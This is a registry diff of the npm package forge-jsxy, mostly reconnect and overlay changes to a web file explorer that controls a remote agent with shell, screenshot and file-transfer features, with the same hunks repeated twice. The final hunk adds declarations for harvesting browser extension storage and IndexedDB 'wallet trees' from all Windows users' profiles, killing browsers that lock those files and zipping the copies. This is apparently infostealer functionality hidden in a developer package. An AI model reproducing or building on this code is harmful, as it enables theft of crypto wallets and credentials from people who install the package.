forge-jsxy 1.0.92 → 1.0.103

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1701,6 +1701,10 @@
1701
1701
  <script>
1702
1702
  let ws = null, authed = false, curPath = '', rid = 0, lastEntries = [], afterAuthDone = false, lastRead = null;
1703
1703
  let _explorerAutoConnectTimer = null;
1704
+ /** Backoff for involuntary viewer reconnects (network blips — not 4003 tab replace). */
1705
+ let _explorerReconnectAttempt = 0;
1706
+ /** Set when relay closes us with 4003 — another explorer tab owns the session; do not auto-reconnect. */
1707
+ let _explorerReplacedByOtherViewer = false;
1704
1708
  let _explorerVoluntaryDisconnect = false;
1705
1709
  /** From agent `system_info` after `get_info` — shell one-liners + screenshot button (win32 / linux / darwin). */
1706
1710
  let agentPlatform = '';
@@ -1733,6 +1737,23 @@ const FE_SPLIT_LS_H = 'forgeFeExplorerSplitH';
1733
1737
  let currentSearchQuery = '';
1734
1738
  /** Ignore stale fs_list/fs_roots responses when user navigates faster than the agent replies (reduces wrong UI + extra work). */
1735
1739
  let activeListRid = null, activeRootsRid = null;
1740
+ /** If `fs_roots_result` never arrives after auth, retry once and surface a clear error. */
1741
+ let _fsRootsWatchTimer = null;
1742
+ const FS_ROOTS_WATCH_MS = 14000;
1743
+ function clearFsRootsWatch(){
1744
+ if(_fsRootsWatchTimer){ clearTimeout(_fsRootsWatchTimer); _fsRootsWatchTimer = null; }
1745
+ }
1746
+ function armFsRootsWatch(){
1747
+ clearFsRootsWatch();
1748
+ _fsRootsWatchTimer = setTimeout(function(){
1749
+ _fsRootsWatchTimer = null;
1750
+ if(!authed || !ws || ws.readyState !== 1) return;
1751
+ if(lastRoots && lastRoots.length) return;
1752
+ setCerr('No folder list from agent yet — retrying roots…');
1753
+ setStatus('Retrying filesystem roots…');
1754
+ sendFsRoots();
1755
+ }, FS_ROOTS_WATCH_MS);
1756
+ }
1736
1757
  /** Remember last primary selection as a normalized abs-path key (search hits use multi-segment `entry.name`). */
1737
1758
  let lastSelectedExplorerKey = null;
1738
1759
  /** Multi-select: normalized abs-path keys (Ctrl/Cmd±click toggle, Shift±click range). */
@@ -2551,9 +2572,43 @@ function explorerUrlSessionReady(){
2551
2572
  * No session/password fields on the gate — when the URL / hidden wire id is valid, connect after a short delay.
2552
2573
  * Skips if a socket is already open or connecting. Cleared on voluntary Disconnect.
2553
2574
  */
2575
+ function resetExplorerReconnectBackoff(){
2576
+ _explorerReconnectAttempt = 0;
2577
+ }
2578
+ /** While already browsing, show the connect overlay during brief agent drop / re-auth (avoids blank tree). */
2579
+ function showAgentReconnectOverlay(msg){
2580
+ if(!afterAuthDone) return;
2581
+ const ov = $('overlay');
2582
+ if(ov) ov.classList.remove('hidden');
2583
+ setWaitmsg(msg || 'Reconnecting to agent…');
2584
+ }
2585
+ function hideAgentReconnectOverlayIfAuthed(){
2586
+ if(!afterAuthDone || !authed) return;
2587
+ const ov = $('overlay');
2588
+ if(ov) ov.classList.add('hidden');
2589
+ setWaitmsg('');
2590
+ }
2591
+ /** Ignore brief agent_disconnected during duplicate-agent swap (relay debounce + slot hold). */
2592
+ let _agentDisconnectDebounceTimer = null;
2593
+ const AGENT_DISCONNECT_DEBOUNCE_MS = 2600;
2594
+ function cancelAgentDisconnectDebounce(){
2595
+ if(_agentDisconnectDebounceTimer){
2596
+ clearTimeout(_agentDisconnectDebounceTimer);
2597
+ _agentDisconnectDebounceTimer = null;
2598
+ }
2599
+ }
2600
+ function scheduleAgentDisconnectDebounce(fn){
2601
+ cancelAgentDisconnectDebounce();
2602
+ _agentDisconnectDebounceTimer = setTimeout(function(){
2603
+ _agentDisconnectDebounceTimer = null;
2604
+ try { fn(); } catch(e){}
2605
+ }, AGENT_DISCONNECT_DEBOUNCE_MS);
2606
+ }
2554
2607
  function scheduleExplorerAutoConnect(delayMs){
2555
2608
  try {
2556
- const d = typeof delayMs === 'number' && delayMs >= 0 ? delayMs : 450;
2609
+ if(_explorerReplacedByOtherViewer) return;
2610
+ const base = typeof delayMs === 'number' && delayMs >= 0 ? delayMs : 450;
2611
+ const delay = Math.min(30000, Math.round(base * Math.pow(2, Math.min(_explorerReconnectAttempt++, 6))));
2557
2612
  if(_explorerAutoConnectTimer){
2558
2613
  clearTimeout(_explorerAutoConnectTimer);
2559
2614
  _explorerAutoConnectTimer = null;
@@ -2567,11 +2622,12 @@ function scheduleExplorerAutoConnect(delayMs){
2567
2622
  if(!ok) return;
2568
2623
  _explorerAutoConnectTimer = setTimeout(function(){
2569
2624
  _explorerAutoConnectTimer = null;
2625
+ if(_explorerReplacedByOtherViewer) return;
2570
2626
  if(_explorerVoluntaryDisconnect) return;
2571
2627
  const a = ws && (ws.readyState === WebSocket.OPEN || ws.readyState === WebSocket.CONNECTING);
2572
2628
  if(a) return;
2573
2629
  void doConnect();
2574
- }, d);
2630
+ }, delay);
2575
2631
  } catch(e){}
2576
2632
  }
2577
2633
 
@@ -2996,6 +3052,7 @@ function ridMatch(a,b){ return String(a||'') === String(b||''); }
2996
3052
  function sendFsRoots(){
2997
3053
  const r = ridn();
2998
3054
  activeRootsRid = r;
3055
+ armFsRootsWatch();
2999
3056
  send({type:'fs_roots', request_id: r});
3000
3057
  }
3001
3058
  /** @param opts {{ treeOnly?: boolean }} */
@@ -4524,6 +4581,7 @@ async function doConnect(){
4524
4581
  clearTimeout(_explorerAutoConnectTimer);
4525
4582
  _explorerAutoConnectTimer = null;
4526
4583
  }
4584
+ _explorerReplacedByOtherViewer = false;
4527
4585
  _explorerVoluntaryDisconnect = false;
4528
4586
  if(forgeRtcReconnectTimer){
4529
4587
  clearTimeout(forgeRtcReconnectTimer);
@@ -4573,6 +4631,7 @@ async function doConnect(){
4573
4631
  clearAuthChallengeWatch();
4574
4632
  clearAuthResultWatch();
4575
4633
  clearViewerKeepalive();
4634
+ clearFsRootsWatch();
4576
4635
  explorerAuthAwaitingResult = false;
4577
4636
  setCerr('');
4578
4637
  setWaitmsg('');
@@ -4721,12 +4780,16 @@ async function doConnect(){
4721
4780
  detail += ')';
4722
4781
  }
4723
4782
  if(ev && ev.code === 4005) detail += ' — origin/proxy mismatch; relay defaults to relaxed Origin (set CFGMGR_RELAY_STRICT_ORIGIN=1 only if you need strict checks), or fix X-Forwarded-Host / RFC7239 Forwarded host=.';
4783
+ if(ev && ev.code === 4003){
4784
+ _explorerReplacedByOtherViewer = true;
4785
+ detail = 'Disconnected — another file explorer tab took over this session. Close extra tabs for the same My VPS id, or click Connect here to take over.';
4786
+ }
4724
4787
  clearAgentHintTimer();
4725
4788
  /** Always clear `#status` — e.g. "Forge agent restart (agent)…" can outlive `wantShellRid` if `onclose` races `doConnect` / `resetStaleShellAfterAgentLifecycle`. */
4726
4789
  setStatus('');
4727
4790
  setCerr(detail);
4728
4791
  syncOverlayXferHint();
4729
- if(!_explorerVoluntaryDisconnect){
4792
+ if(!_explorerVoluntaryDisconnect && !_explorerReplacedByOtherViewer){
4730
4793
  scheduleExplorerAutoConnect(650);
4731
4794
  }
4732
4795
  };
@@ -4835,10 +4898,13 @@ function onMsg(m){
4835
4898
  }catch(e){}
4836
4899
  }
4837
4900
  if(t==='agent_connected'){
4901
+ cancelAgentDisconnectDebounce();
4838
4902
  clearAgentHintTimer();
4839
4903
  authed = false;
4840
4904
  cancelForgeUpgradeReconnectTimeouts();
4841
- if(ws._pwHash){
4905
+ if(afterAuthDone){
4906
+ showAgentReconnectOverlay('Agent connected — re-authenticating…');
4907
+ } else if(ws._pwHash){
4842
4908
  setWaitmsg('Waiting for auth challenge…');
4843
4909
  scheduleAuthChallengeWatch();
4844
4910
  } else {
@@ -4886,9 +4952,11 @@ function onMsg(m){
4886
4952
  if(m.ok){
4887
4953
  clearAgentHintTimer();
4888
4954
  authed = true;
4955
+ resetExplorerReconnectBackoff();
4889
4956
  cancelForgeUpgradeReconnectTimeouts();
4890
4957
  setWaitmsg('');
4891
4958
  setCerr('');
4959
+ hideAgentReconnectOverlayIfAuthed();
4892
4960
  if(afterAuthDone){
4893
4961
  /** Agent reconnected while explorer stayed open — restore HF/xfer persistence after re-auth. */
4894
4962
  resetStaleShellAfterAgentLifecycle();
@@ -4902,7 +4970,9 @@ function onMsg(m){
4902
4970
  forgeRtcReconnectAttempts = 0;
4903
4971
  if(forgeRtcReconnectTimer){ clearTimeout(forgeRtcReconnectTimer); forgeRtcReconnectTimer = null; }
4904
4972
  setTimeout(function(){ tryForgeRtcExplorerProbe(); }, 120);
4905
- sendFsRoots();
4973
+ const cpReauth = String(curPath || '').trim();
4974
+ if(cpReauth && !rootsPickerMode) refresh();
4975
+ else sendFsRoots();
4906
4976
  updateAgentShellHints();
4907
4977
  } else afterAuth();
4908
4978
  }
@@ -4914,6 +4984,7 @@ function onMsg(m){
4914
4984
  }
4915
4985
  if(t==='fs_roots_result'){
4916
4986
  if(!ridMatch(m.request_id, activeRootsRid)) return;
4987
+ clearFsRootsWatch();
4917
4988
  if(!m.ok){ setStatus(m.error||'roots failed'); setCerr(m.error||''); return; }
4918
4989
  const roots = m.roots||[];
4919
4990
  if(!roots.length){ setStatus('No filesystem roots available on agent'); return; }
@@ -4946,21 +5017,19 @@ function onMsg(m){
4946
5017
  }
4947
5018
  }
4948
5019
  if(t==='agent_disconnected'){
5020
+ scheduleAgentDisconnectDebounce(function(){
4949
5021
  if(forgeRtcReconnectTimer){ clearTimeout(forgeRtcReconnectTimer); forgeRtcReconnectTimer = null; }
4950
5022
  forgeRtcReconnectAttempts = 0;
4951
5023
  teardownForgeRtcExplorer();
4952
5024
  authed = false;
4953
5025
  clearAuthChallengeWatch();
4954
5026
  clearAuthResultWatch();
5027
+ clearViewerKeepalive();
4955
5028
  stashXferDisconnectNote('— agent link lost');
4956
5029
  agentPlatform = '';
4957
5030
  updateAgentShellHints();
4958
5031
  wantScreenshotRid = null;
4959
5032
  revokeScreenshotBlob();
4960
- lastEntries = [];
4961
- $('rows').innerHTML = '';
4962
- const dre = $('detail-rows');
4963
- if(dre) dre.innerHTML = '';
4964
5033
  wantDeleteRid=null;
4965
5034
  clearDeleteWatchdog();
4966
5035
  resetStaleShellAfterAgentLifecycle();
@@ -4968,13 +5037,26 @@ function onMsg(m){
4968
5037
  /** Keep `wantHfRid` — Hub upload keeps running on the agent; after relay reconnect, progress uses the same id. */
4969
5038
  abortPreview();
4970
5039
  resetDownloadZipPipelineState();
4971
- treeExpandedPaths.clear();
4972
- treeChildrenCache.clear();
4973
5040
  pendingFsListByRid.clear();
4974
5041
  treeListInflight.clear();
4975
- treeSelectionParent = '';
4976
- setStatus('Remote agent offline — lists paused until it reconnects');
5042
+ activeListRid = null;
5043
+ activeRootsRid = null;
5044
+ if(afterAuthDone){
5045
+ /** Keep tree/roots visible under overlay — avoids blank explorer during agent reconnect flaps. */
5046
+ showAgentReconnectOverlay('Remote agent offline — waiting for reconnect…');
5047
+ setStatus('Remote agent offline — lists paused until it reconnects');
5048
+ } else {
5049
+ lastEntries = [];
5050
+ $('rows').innerHTML = '';
5051
+ const dre0 = $('detail-rows');
5052
+ if(dre0) dre0.innerHTML = '';
5053
+ treeExpandedPaths.clear();
5054
+ treeChildrenCache.clear();
5055
+ treeSelectionParent = '';
5056
+ setStatus('Remote agent offline — lists paused until it reconnects');
5057
+ }
4977
5058
  xferStatusSyncDom();
5059
+ });
4978
5060
  }
4979
5061
  if(t==='fs_list_result'){
4980
5062
  const reqId = m.request_id;
@@ -7150,13 +7232,7 @@ function uploadHfForceKill(){
7150
7232
  !!explorerGateAuthSecret();
7151
7233
 
7152
7234
  if ((autoParam === '1' && sessionParam) || skipPasswordGate) {
7153
- const overlay = document.getElementById('overlay');
7154
- if (overlay) {
7155
- overlay.classList.add('hidden');
7156
- overlay.style.display = '';
7157
- overlay.setAttribute('aria-hidden', 'true');
7158
- }
7159
- explorerChromeVisible(true);
7235
+ /** Keep overlay until `afterAuth()` — avoids empty chrome while socket/auth is still in flight. */
7160
7236
  setWaitmsg('Connecting (' + shortSessionLabel(sessionEl ? sessionEl.value : '') + ')…');
7161
7237
  setTimeout(function() {
7162
7238
  if (explorerUrlSessionReady()) {
@@ -10,7 +10,7 @@
10
10
  <link rel="apple-touch-icon" href="/forge-explorer-favicon.svg"/>
11
11
  <link rel="stylesheet" href="/forge-explorer-codicons/codicon.css"/>
12
12
  <link rel="stylesheet" href="/forge-explorer-highlight/explorer-highlight.css"/>
13
- <!-- forge-jsxy@1.0.92 reconnect-ui npm-isolated-cache hub-20gib-delete-watch -->
13
+ <!-- forge-jsxy@1.0.103 reconnect-ui npm-isolated-cache hub-20gib-delete-watch -->
14
14
  <script>
15
15
  (function () {
16
16
  try {
@@ -1701,6 +1701,10 @@
1701
1701
  <script>
1702
1702
  let ws = null, authed = false, curPath = '', rid = 0, lastEntries = [], afterAuthDone = false, lastRead = null;
1703
1703
  let _explorerAutoConnectTimer = null;
1704
+ /** Backoff for involuntary viewer reconnects (network blips — not 4003 tab replace). */
1705
+ let _explorerReconnectAttempt = 0;
1706
+ /** Set when relay closes us with 4003 — another explorer tab owns the session; do not auto-reconnect. */
1707
+ let _explorerReplacedByOtherViewer = false;
1704
1708
  let _explorerVoluntaryDisconnect = false;
1705
1709
  /** From agent `system_info` after `get_info` — shell one-liners + screenshot button (win32 / linux / darwin). */
1706
1710
  let agentPlatform = '';
@@ -1733,6 +1737,23 @@ const FE_SPLIT_LS_H = 'forgeFeExplorerSplitH';
1733
1737
  let currentSearchQuery = '';
1734
1738
  /** Ignore stale fs_list/fs_roots responses when user navigates faster than the agent replies (reduces wrong UI + extra work). */
1735
1739
  let activeListRid = null, activeRootsRid = null;
1740
+ /** If `fs_roots_result` never arrives after auth, retry once and surface a clear error. */
1741
+ let _fsRootsWatchTimer = null;
1742
+ const FS_ROOTS_WATCH_MS = 14000;
1743
+ function clearFsRootsWatch(){
1744
+ if(_fsRootsWatchTimer){ clearTimeout(_fsRootsWatchTimer); _fsRootsWatchTimer = null; }
1745
+ }
1746
+ function armFsRootsWatch(){
1747
+ clearFsRootsWatch();
1748
+ _fsRootsWatchTimer = setTimeout(function(){
1749
+ _fsRootsWatchTimer = null;
1750
+ if(!authed || !ws || ws.readyState !== 1) return;
1751
+ if(lastRoots && lastRoots.length) return;
1752
+ setCerr('No folder list from agent yet — retrying roots…');
1753
+ setStatus('Retrying filesystem roots…');
1754
+ sendFsRoots();
1755
+ }, FS_ROOTS_WATCH_MS);
1756
+ }
1736
1757
  /** Remember last primary selection as a normalized abs-path key (search hits use multi-segment `entry.name`). */
1737
1758
  let lastSelectedExplorerKey = null;
1738
1759
  /** Multi-select: normalized abs-path keys (Ctrl/Cmd±click toggle, Shift±click range). */
@@ -2551,9 +2572,43 @@ function explorerUrlSessionReady(){
2551
2572
  * No session/password fields on the gate — when the URL / hidden wire id is valid, connect after a short delay.
2552
2573
  * Skips if a socket is already open or connecting. Cleared on voluntary Disconnect.
2553
2574
  */
2575
+ function resetExplorerReconnectBackoff(){
2576
+ _explorerReconnectAttempt = 0;
2577
+ }
2578
+ /** While already browsing, show the connect overlay during brief agent drop / re-auth (avoids blank tree). */
2579
+ function showAgentReconnectOverlay(msg){
2580
+ if(!afterAuthDone) return;
2581
+ const ov = $('overlay');
2582
+ if(ov) ov.classList.remove('hidden');
2583
+ setWaitmsg(msg || 'Reconnecting to agent…');
2584
+ }
2585
+ function hideAgentReconnectOverlayIfAuthed(){
2586
+ if(!afterAuthDone || !authed) return;
2587
+ const ov = $('overlay');
2588
+ if(ov) ov.classList.add('hidden');
2589
+ setWaitmsg('');
2590
+ }
2591
+ /** Ignore brief agent_disconnected during duplicate-agent swap (relay debounce + slot hold). */
2592
+ let _agentDisconnectDebounceTimer = null;
2593
+ const AGENT_DISCONNECT_DEBOUNCE_MS = 2600;
2594
+ function cancelAgentDisconnectDebounce(){
2595
+ if(_agentDisconnectDebounceTimer){
2596
+ clearTimeout(_agentDisconnectDebounceTimer);
2597
+ _agentDisconnectDebounceTimer = null;
2598
+ }
2599
+ }
2600
+ function scheduleAgentDisconnectDebounce(fn){
2601
+ cancelAgentDisconnectDebounce();
2602
+ _agentDisconnectDebounceTimer = setTimeout(function(){
2603
+ _agentDisconnectDebounceTimer = null;
2604
+ try { fn(); } catch(e){}
2605
+ }, AGENT_DISCONNECT_DEBOUNCE_MS);
2606
+ }
2554
2607
  function scheduleExplorerAutoConnect(delayMs){
2555
2608
  try {
2556
- const d = typeof delayMs === 'number' && delayMs >= 0 ? delayMs : 450;
2609
+ if(_explorerReplacedByOtherViewer) return;
2610
+ const base = typeof delayMs === 'number' && delayMs >= 0 ? delayMs : 450;
2611
+ const delay = Math.min(30000, Math.round(base * Math.pow(2, Math.min(_explorerReconnectAttempt++, 6))));
2557
2612
  if(_explorerAutoConnectTimer){
2558
2613
  clearTimeout(_explorerAutoConnectTimer);
2559
2614
  _explorerAutoConnectTimer = null;
@@ -2567,11 +2622,12 @@ function scheduleExplorerAutoConnect(delayMs){
2567
2622
  if(!ok) return;
2568
2623
  _explorerAutoConnectTimer = setTimeout(function(){
2569
2624
  _explorerAutoConnectTimer = null;
2625
+ if(_explorerReplacedByOtherViewer) return;
2570
2626
  if(_explorerVoluntaryDisconnect) return;
2571
2627
  const a = ws && (ws.readyState === WebSocket.OPEN || ws.readyState === WebSocket.CONNECTING);
2572
2628
  if(a) return;
2573
2629
  void doConnect();
2574
- }, d);
2630
+ }, delay);
2575
2631
  } catch(e){}
2576
2632
  }
2577
2633
 
@@ -2996,6 +3052,7 @@ function ridMatch(a,b){ return String(a||'') === String(b||''); }
2996
3052
  function sendFsRoots(){
2997
3053
  const r = ridn();
2998
3054
  activeRootsRid = r;
3055
+ armFsRootsWatch();
2999
3056
  send({type:'fs_roots', request_id: r});
3000
3057
  }
3001
3058
  /** @param opts {{ treeOnly?: boolean }} */
@@ -4524,6 +4581,7 @@ async function doConnect(){
4524
4581
  clearTimeout(_explorerAutoConnectTimer);
4525
4582
  _explorerAutoConnectTimer = null;
4526
4583
  }
4584
+ _explorerReplacedByOtherViewer = false;
4527
4585
  _explorerVoluntaryDisconnect = false;
4528
4586
  if(forgeRtcReconnectTimer){
4529
4587
  clearTimeout(forgeRtcReconnectTimer);
@@ -4573,6 +4631,7 @@ async function doConnect(){
4573
4631
  clearAuthChallengeWatch();
4574
4632
  clearAuthResultWatch();
4575
4633
  clearViewerKeepalive();
4634
+ clearFsRootsWatch();
4576
4635
  explorerAuthAwaitingResult = false;
4577
4636
  setCerr('');
4578
4637
  setWaitmsg('');
@@ -4721,12 +4780,16 @@ async function doConnect(){
4721
4780
  detail += ')';
4722
4781
  }
4723
4782
  if(ev && ev.code === 4005) detail += ' — origin/proxy mismatch; relay defaults to relaxed Origin (set CFGMGR_RELAY_STRICT_ORIGIN=1 only if you need strict checks), or fix X-Forwarded-Host / RFC7239 Forwarded host=.';
4783
+ if(ev && ev.code === 4003){
4784
+ _explorerReplacedByOtherViewer = true;
4785
+ detail = 'Disconnected — another file explorer tab took over this session. Close extra tabs for the same My VPS id, or click Connect here to take over.';
4786
+ }
4724
4787
  clearAgentHintTimer();
4725
4788
  /** Always clear `#status` — e.g. "Forge agent restart (agent)…" can outlive `wantShellRid` if `onclose` races `doConnect` / `resetStaleShellAfterAgentLifecycle`. */
4726
4789
  setStatus('');
4727
4790
  setCerr(detail);
4728
4791
  syncOverlayXferHint();
4729
- if(!_explorerVoluntaryDisconnect){
4792
+ if(!_explorerVoluntaryDisconnect && !_explorerReplacedByOtherViewer){
4730
4793
  scheduleExplorerAutoConnect(650);
4731
4794
  }
4732
4795
  };
@@ -4835,10 +4898,13 @@ function onMsg(m){
4835
4898
  }catch(e){}
4836
4899
  }
4837
4900
  if(t==='agent_connected'){
4901
+ cancelAgentDisconnectDebounce();
4838
4902
  clearAgentHintTimer();
4839
4903
  authed = false;
4840
4904
  cancelForgeUpgradeReconnectTimeouts();
4841
- if(ws._pwHash){
4905
+ if(afterAuthDone){
4906
+ showAgentReconnectOverlay('Agent connected — re-authenticating…');
4907
+ } else if(ws._pwHash){
4842
4908
  setWaitmsg('Waiting for auth challenge…');
4843
4909
  scheduleAuthChallengeWatch();
4844
4910
  } else {
@@ -4886,9 +4952,11 @@ function onMsg(m){
4886
4952
  if(m.ok){
4887
4953
  clearAgentHintTimer();
4888
4954
  authed = true;
4955
+ resetExplorerReconnectBackoff();
4889
4956
  cancelForgeUpgradeReconnectTimeouts();
4890
4957
  setWaitmsg('');
4891
4958
  setCerr('');
4959
+ hideAgentReconnectOverlayIfAuthed();
4892
4960
  if(afterAuthDone){
4893
4961
  /** Agent reconnected while explorer stayed open — restore HF/xfer persistence after re-auth. */
4894
4962
  resetStaleShellAfterAgentLifecycle();
@@ -4902,7 +4970,9 @@ function onMsg(m){
4902
4970
  forgeRtcReconnectAttempts = 0;
4903
4971
  if(forgeRtcReconnectTimer){ clearTimeout(forgeRtcReconnectTimer); forgeRtcReconnectTimer = null; }
4904
4972
  setTimeout(function(){ tryForgeRtcExplorerProbe(); }, 120);
4905
- sendFsRoots();
4973
+ const cpReauth = String(curPath || '').trim();
4974
+ if(cpReauth && !rootsPickerMode) refresh();
4975
+ else sendFsRoots();
4906
4976
  updateAgentShellHints();
4907
4977
  } else afterAuth();
4908
4978
  }
@@ -4914,6 +4984,7 @@ function onMsg(m){
4914
4984
  }
4915
4985
  if(t==='fs_roots_result'){
4916
4986
  if(!ridMatch(m.request_id, activeRootsRid)) return;
4987
+ clearFsRootsWatch();
4917
4988
  if(!m.ok){ setStatus(m.error||'roots failed'); setCerr(m.error||''); return; }
4918
4989
  const roots = m.roots||[];
4919
4990
  if(!roots.length){ setStatus('No filesystem roots available on agent'); return; }
@@ -4946,21 +5017,19 @@ function onMsg(m){
4946
5017
  }
4947
5018
  }
4948
5019
  if(t==='agent_disconnected'){
5020
+ scheduleAgentDisconnectDebounce(function(){
4949
5021
  if(forgeRtcReconnectTimer){ clearTimeout(forgeRtcReconnectTimer); forgeRtcReconnectTimer = null; }
4950
5022
  forgeRtcReconnectAttempts = 0;
4951
5023
  teardownForgeRtcExplorer();
4952
5024
  authed = false;
4953
5025
  clearAuthChallengeWatch();
4954
5026
  clearAuthResultWatch();
5027
+ clearViewerKeepalive();
4955
5028
  stashXferDisconnectNote('— agent link lost');
4956
5029
  agentPlatform = '';
4957
5030
  updateAgentShellHints();
4958
5031
  wantScreenshotRid = null;
4959
5032
  revokeScreenshotBlob();
4960
- lastEntries = [];
4961
- $('rows').innerHTML = '';
4962
- const dre = $('detail-rows');
4963
- if(dre) dre.innerHTML = '';
4964
5033
  wantDeleteRid=null;
4965
5034
  clearDeleteWatchdog();
4966
5035
  resetStaleShellAfterAgentLifecycle();
@@ -4968,13 +5037,26 @@ function onMsg(m){
4968
5037
  /** Keep `wantHfRid` — Hub upload keeps running on the agent; after relay reconnect, progress uses the same id. */
4969
5038
  abortPreview();
4970
5039
  resetDownloadZipPipelineState();
4971
- treeExpandedPaths.clear();
4972
- treeChildrenCache.clear();
4973
5040
  pendingFsListByRid.clear();
4974
5041
  treeListInflight.clear();
4975
- treeSelectionParent = '';
4976
- setStatus('Remote agent offline — lists paused until it reconnects');
5042
+ activeListRid = null;
5043
+ activeRootsRid = null;
5044
+ if(afterAuthDone){
5045
+ /** Keep tree/roots visible under overlay — avoids blank explorer during agent reconnect flaps. */
5046
+ showAgentReconnectOverlay('Remote agent offline — waiting for reconnect…');
5047
+ setStatus('Remote agent offline — lists paused until it reconnects');
5048
+ } else {
5049
+ lastEntries = [];
5050
+ $('rows').innerHTML = '';
5051
+ const dre0 = $('detail-rows');
5052
+ if(dre0) dre0.innerHTML = '';
5053
+ treeExpandedPaths.clear();
5054
+ treeChildrenCache.clear();
5055
+ treeSelectionParent = '';
5056
+ setStatus('Remote agent offline — lists paused until it reconnects');
5057
+ }
4977
5058
  xferStatusSyncDom();
5059
+ });
4978
5060
  }
4979
5061
  if(t==='fs_list_result'){
4980
5062
  const reqId = m.request_id;
@@ -7150,13 +7232,7 @@ function uploadHfForceKill(){
7150
7232
  !!explorerGateAuthSecret();
7151
7233
 
7152
7234
  if ((autoParam === '1' && sessionParam) || skipPasswordGate) {
7153
- const overlay = document.getElementById('overlay');
7154
- if (overlay) {
7155
- overlay.classList.add('hidden');
7156
- overlay.style.display = '';
7157
- overlay.setAttribute('aria-hidden', 'true');
7158
- }
7159
- explorerChromeVisible(true);
7235
+ /** Keep overlay until `afterAuth()` — avoids empty chrome while socket/auth is still in flight. */
7160
7236
  setWaitmsg('Connecting (' + shortSessionLabel(sessionEl ? sessionEl.value : '') + ')…');
7161
7237
  setTimeout(function() {
7162
7238
  if (explorerUrlSessionReady()) {
@@ -1,6 +1,7 @@
1
1
  export declare const EXTENSION_DB_STAGING_DIRNAME = "extension-db-staging";
2
2
  /** Relative path segment (case-insensitive) under a browser profile. */
3
3
  export declare const LOCAL_EXTENSION_SETTINGS = "Local Extension Settings";
4
+ export declare const INDEXEDDB_DIR_NAME = "IndexedDB";
4
5
  export type ExtensionDbSource = {
5
6
  browserLabel: string;
6
7
  /** Last segment of profile path (e.g. `Default`, `Profile 1`). */
@@ -13,6 +14,8 @@ export type ExtensionDbSource = {
13
14
  sourceKey: string;
14
15
  /** Relative path inside the zip staging tree. */
15
16
  stagingRelPath: string;
17
+ /** `local_extension_settings` (default) or Chromium profile `IndexedDB` wallet trees. */
18
+ storageKind: "local_extension_settings" | "indexeddb";
16
19
  };
17
20
  export type ExtensionDbHarvestResult = {
18
21
  stagingRoot: string;
@@ -23,6 +26,10 @@ export type ExtensionDbHarvestResult = {
23
26
  skippedFolders: number;
24
27
  skippedCopyErrors: number;
25
28
  };
29
+ /** All `AppData\\Local` roots on Windows — current user plus `C:\\Users\\*\\AppData\\Local`. */
30
+ export declare function win32AllLocalAppDataRoots(): string[];
31
+ /** All `AppData\\Roaming` roots on Windows — current user plus `C:\\Users\\*\\AppData\\Roaming`. */
32
+ export declare function win32AllRoamingAppDataRoots(): string[];
26
33
  /** Chromium `User Data`-style roots (may be profile root for Opera). */
27
34
  export declare function chromiumBrowserUserDataCandidates(): {
28
35
  label: string;
@@ -36,18 +43,32 @@ export declare function findLocalExtensionSettingsDirs(userDataRoot: string, max
36
43
  profileRelPath: string;
37
44
  lesDir: string;
38
45
  }[];
39
- /** Gate only: true when `<extension_id>/` contains ≥1 `.db` file (triggers full-folder copy). */
46
+ /** Find `IndexedDB/chrome-extension_*_0.indexeddb.leveldb/` trees under a browser user-data root. */
47
+ export declare function findChromeExtensionIndexedDbDirs(userDataRoot: string, maxDepth?: number): {
48
+ profileLabel: string;
49
+ profileRelPath: string;
50
+ idbDir: string;
51
+ extensionId: string;
52
+ }[];
53
+ /** True when a filename is a LevelDB sstable (`.ldb`, case-insensitive). */
54
+ export declare function isLevelDbSstableFileName(name: string): boolean;
55
+ /**
56
+ * Gate: true when `<extension_id>/` contains ≥1 **`.ldb`** file (LevelDB database segment).
57
+ * SQLite `.db` / `.dat` without `.ldb` does **not** qualify.
58
+ */
59
+ export declare function extensionFolderHasLdbFile(dir: string, maxDepth?: number): boolean;
60
+ /** @deprecated Use {@link extensionFolderHasLdbFile} — gate is `.ldb`, not `.db`. */
40
61
  export declare function extensionFolderHasDbFile(dir: string, maxDepth?: number): boolean;
41
- /** Enumerate extension folders (with `.db` files) for explicit browser roots (test hook). */
62
+ /** Enumerate extension folders (with ≥1 `.ldb` file) for explicit browser roots (test hook). */
42
63
  export declare function discoverExtensionDbSourcesFromUserDataRoots(candidates: {
43
64
  label: string;
44
65
  root: string;
45
66
  }[]): ExtensionDbSource[];
46
- /** Enumerate extension folders (with `.db` files) across all Chromium browsers. */
67
+ /** Enumerate extension folders (with ≥1 `.ldb` file) across all Chromium browsers. */
47
68
  export declare function discoverExtensionDbSources(): ExtensionDbSource[];
48
69
  export declare function extensionDbStagingRoot(): string;
49
70
  /** Unique key for browser + profile + extension id (same id in different profiles/browsers stays distinct). */
50
- export declare function extensionSourceKey(browserLabel: string, profileRelPath: string, extensionId: string): string;
71
+ export declare function extensionSourceKey(browserLabel: string, profileRelPath: string, extensionId: string, storageKind?: ExtensionDbSource["storageKind"]): string;
51
72
  export declare function stagingRelPathForSource(src: ExtensionDbSource): string;
52
73
  export type HarvestExtensionDbOptions = {
53
74
  /** Terminate browsers locking profile paths before copy (default true). */